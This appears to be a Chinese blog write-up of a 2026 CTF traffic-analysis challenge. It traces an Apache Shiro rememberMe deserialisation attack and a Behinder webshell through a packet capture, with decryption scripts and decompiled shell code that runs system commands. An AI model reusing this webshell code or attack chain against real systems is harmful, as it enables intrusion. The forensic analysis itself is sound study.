2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp

2026软件系统安全赛 - 流量分析traffic_hunt - WriteUp

KaguraiYoRoy
2026-03-15 / 0 评论 / 96 阅读 / 正在检测是否收录...

第一层: Apache Shiro CVE-2016-4437

打开pcapng抓包文件,发现大部分都是HTTP。尝试过滤所有HTTP请求:

_ws.col.protocol == "HTTP"

发现前面都是GET扫描。后面有几个POST传递到了相同的路径/favicondemo.ico,打开发现携带Payload:

POST /favicondemo.ico HTTP/1.1
...

eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...

尝试直接Base64解密,发现疑似加密了,无法解密。推测前面还有一部分挂马之类的处理。 尝试过滤所有POST请求:

http.request.method == "POST"

发现第5009个HTTP流POST向了/,打开发现:

GET / HTTP/1.1
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
...
HTTP/1.1 302
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
Location: http://10.1.33.69:8080/login
...

等等一系列请求。 根据其JSESSIONID可知是Java后端,根据rememberMe=deleteMe可知这是在尝试利用Apache Shiro的反序列化漏洞(CVE-2016-4437)。前面部分在进行爆破,尝试得到其AES加密的Key。往后翻,可找到:

GET / HTTP/1.1
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
...

服务端返回:

HTTP/1.1 302
Location: http://10.1.33.69:8080/login
...

没有再Set-Cookie,表明这里已经成功碰撞出了AES密钥。往后还有

GET / HTTP/1.1
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
Authorization: Basic d2hvYW1p
...

服务端返回:

HTTP/1.1 200
...

<div>$$$cm9vdAo=$$$</div>

cm9vdAo=进行Base64解密,可得到:root,对Authorization头里的d2hvYW1p解密,可得到whoami,发现这里已经实现了RCE。 随后分别执行并返回了:

pwd
/

ls -la
total 21844
drwxr-xr-x   1 root root     4096 Jan  6 03:43 .
drwxr-xr-x   1 root root     4096 Jan  6 03:43 ..
-rwxr-xr-x   1 root root        0 Jan  6 03:43 .dockerenv
drwxr-xr-x   1 root root     4096 Oct 21  2016 bin
drwxr-xr-x   2 root root     4096 Sep 12  2016 boot
drwxr-xr-x   5 root root      340 Jan  6 03:43 dev
drwxr-xr-x   1 root root     4096 Jan  6 03:43 etc
drwxr-xr-x   2 root root     4096 Sep 12  2016 home
drwxr-xr-x   1 root root     4096 Oct 31  2016 lib
drwxr-xr-x   2 root root     4096 Oct 20  2016 lib64
drwxr-xr-x   2 root root     4096 Oct 20  2016 media
drwxr-xr-x   2 root root     4096 Oct 20  2016 mnt
drwxr-xr-x   2 root root     4096 Oct 20  2016 opt
dr-xr-xr-x 167 root root        0 Jan  6 03:43 proc
drwx------   2 root root     4096 Oct 20  2016 root
drwxr-xr-x   3 root root     4096 Oct 20  2016 run
drwxr-xr-x   2 root root     4096 Oct 20  2016 sbin
-rw-r--r--   1 root root 22290368 Dec 19  2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x   2 root root     4096 Oct 20  2016 srv
dr-xr-xr-x  13 root root        0 Jan  6 03:43 sys
drwxrwxrwt   1 root root     4096 Jan  6 03:43 tmp
drwxr-xr-x   1 root root     4096 Oct 31  2016 usr
drwxr-xr-x   1 root root     4096 Oct 31  2016 var

w
 05:56:48 up 9 days,  2:03,  0 users,  load average: 1.44, 0.84, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

发现并没有什么有用的信息。 之后发送了一个:

POST / HTTP/1.1
...
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
...

user=yv66vgAAADQB5...GCQ%3D%3D

服务端返回了:

HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 06 Jan 2026 05:57:43 GMT
Connection: close

->|Success|<-

之后就没有类似的包了,推测是挂了个马。

第二层: 冰蝎 WebShell 内存马

对上面POST请求体的user参数直接进行Base64解密可发现是CAFEBABE开头的Java类,导出后尝试使用Jadx打开,可得到: Pasted image 20260314123043.png

发现是个冰蝎Behinder WebShell。分析可知它会将请求内容和返回值通过AES加密/解密,同时若请求头中携带p,就将p的内容md5加密之后取前16位作为AES密钥。
根据上面的请求内容可知p: HWmc2TLDoihdlr0N,md5加密得到1f2c8075acd3d118674e99f8e61b9596,取前16位即1f2c8075acd3d118就是AES密码。
同时,设置了/favicondemo.ico作为C2通信地址,这也就说明之前看到的下面的这个URL的POST数据是这里通信的记录。

接着打开之前找到的POST抓包,发现第40552个HTTP Stream内包含大量往返。
编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload:

import Crypto.Cipher
from Crypto.Cipher import AES
import base64

def decrypt_behinder(data, key_str):
    key = key_str.encode('utf-8')
    raw_data = base64.b64decode(data)
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(raw_data)
    # 去除 PKCS5Padding
    padding_len = decrypted[-1]
    return decrypted[:-padding_len]

key = "1f2c8075acd3d118"
body = "qjYfBvYIRKQ...ciIgehs="

data=decrypt_behinder(body, key)
print(data)
with open(f"payload2.bin", "wb") as file:
	file.write(data) 

发现开头CAFEBABE是Java Class的文件头。用Jadx打开:

发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包,得到:

{"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="}

msg字段Base64解密得到:1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v,证明猜想正确。

接着继续解密并逆向第二个请求:

发现是读取系统信息,返回值:

{"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="}

msgBase64解密得到:

{"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2VzPGJyLz5qYXZhLmF3dC5oZWFkbGVzcyA9IHRydWU8YnIvPmphdmEudmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5jYXRhbGluYS5iYXNlID0gL3RtcC90b21jYXQuMjM3MTY4NzY3MTI5MDk4MDM5MC44MDgwPGJyLz5maWxlLnNlcGFyYXRvciA9IC88YnIvPmphdmEudmVuZG9yLnVybC5idWcgPSBodHRwOi8vYnVncmVwb3J0LnN1bi5jb20vYnVncmVwb3J0Lzxici8+c3VuLmlvLnVuaWNvZGUuZW5jb2RpbmcgPSBVbmljb2RlTGl0dGxlPGJyLz5zdW4uY3B1LmVuZGlhbiA9IGxpdHRsZTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz4="}

再分别Base64解密,可得到LinuxInfo为Linux6.8.0-88-genericamd64,DriveList为/;,LocalIP为172.18.0.2,等等。证明上述确实是读取系统信息。 接着继续解密并逆向,发现执行了一些系统命令:

...
/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(4).ico.class */
public class Zsiywhq {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;
	...
    public Zsiywhq() {
        cmd = "";
        cmd += "cd / ;whoami";
        path = "";
        path += "/";
    }
	...
    private String RunCMD(String cmd2) throws Exception {
        Process p;
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        String result = "";
        if (cmd2 != null && cmd2.length() > 0) {
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2});
            } else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd2});
            }
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
            String line = br.readLine();
            while (true) {
                String disr = line;
                if (disr == null) {
                    break;
                }
                result = result + disr + "\n";
                line = br.readLine();
            }
            BufferedReader br2 = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
            String line2 = br2.readLine();
            while (true) {
                String disr2 = line2;
                if (disr2 == null) {
                    break;
                }
                result = result + disr2 + "\n";
                line2 = br2.readLine();
            }
        }
        return result;
    }
	...
}

找下来发现总共执行了这些:

cd / ;whoami
root

cd / ;w
 05:58:16 up 9 days,  2:05,  0 users,  load average: 0.35, 0.63, 0.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

cd / ;ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  1 03:43 ?        00:01:36 java -jar /shirodemo-1.0-SNAPSHOT.jar
root          95       1  0 05:58 ?        00:00:00 /bin/sh -c cd / ;ps -ef
root          96      95  0 05:58 ?        00:00:00 ps -ef

没什么用。接着发现接下来内容有了新的模式:

发现是获取了/的文件列表,返回值也印证了这一点。后续的几个包分别获取了:

/tmp/
/var/
/var/tmp/

的列表。 再之后发现:

package sun.yxiw;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(18).ico.class */
public class Auydc {
	...
    public Auydc() {
        mode = "";
        mode += "update";
        path = "";
        path += "/var/tmp/out";
        blockIndex = "";
        blockIndex += "2";
        blockSize = "";
        blockSize += "30720";
        content = "";
        content += "h61Bx+...X2zlQkI5M";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }
	...
}

调用了写入文件的功能,往/var/tmp/out追加写入了content经过Base64解密的内容。再往后找发现有大量的类似追加请求。尝试通过Wireshark的Export Objects导出所有/favicondemo.ico,发现有737个文件,编写一个Python脚本从中批量解密并提取保存成java class文件或者txt返回信息:

import os
import re
import base64
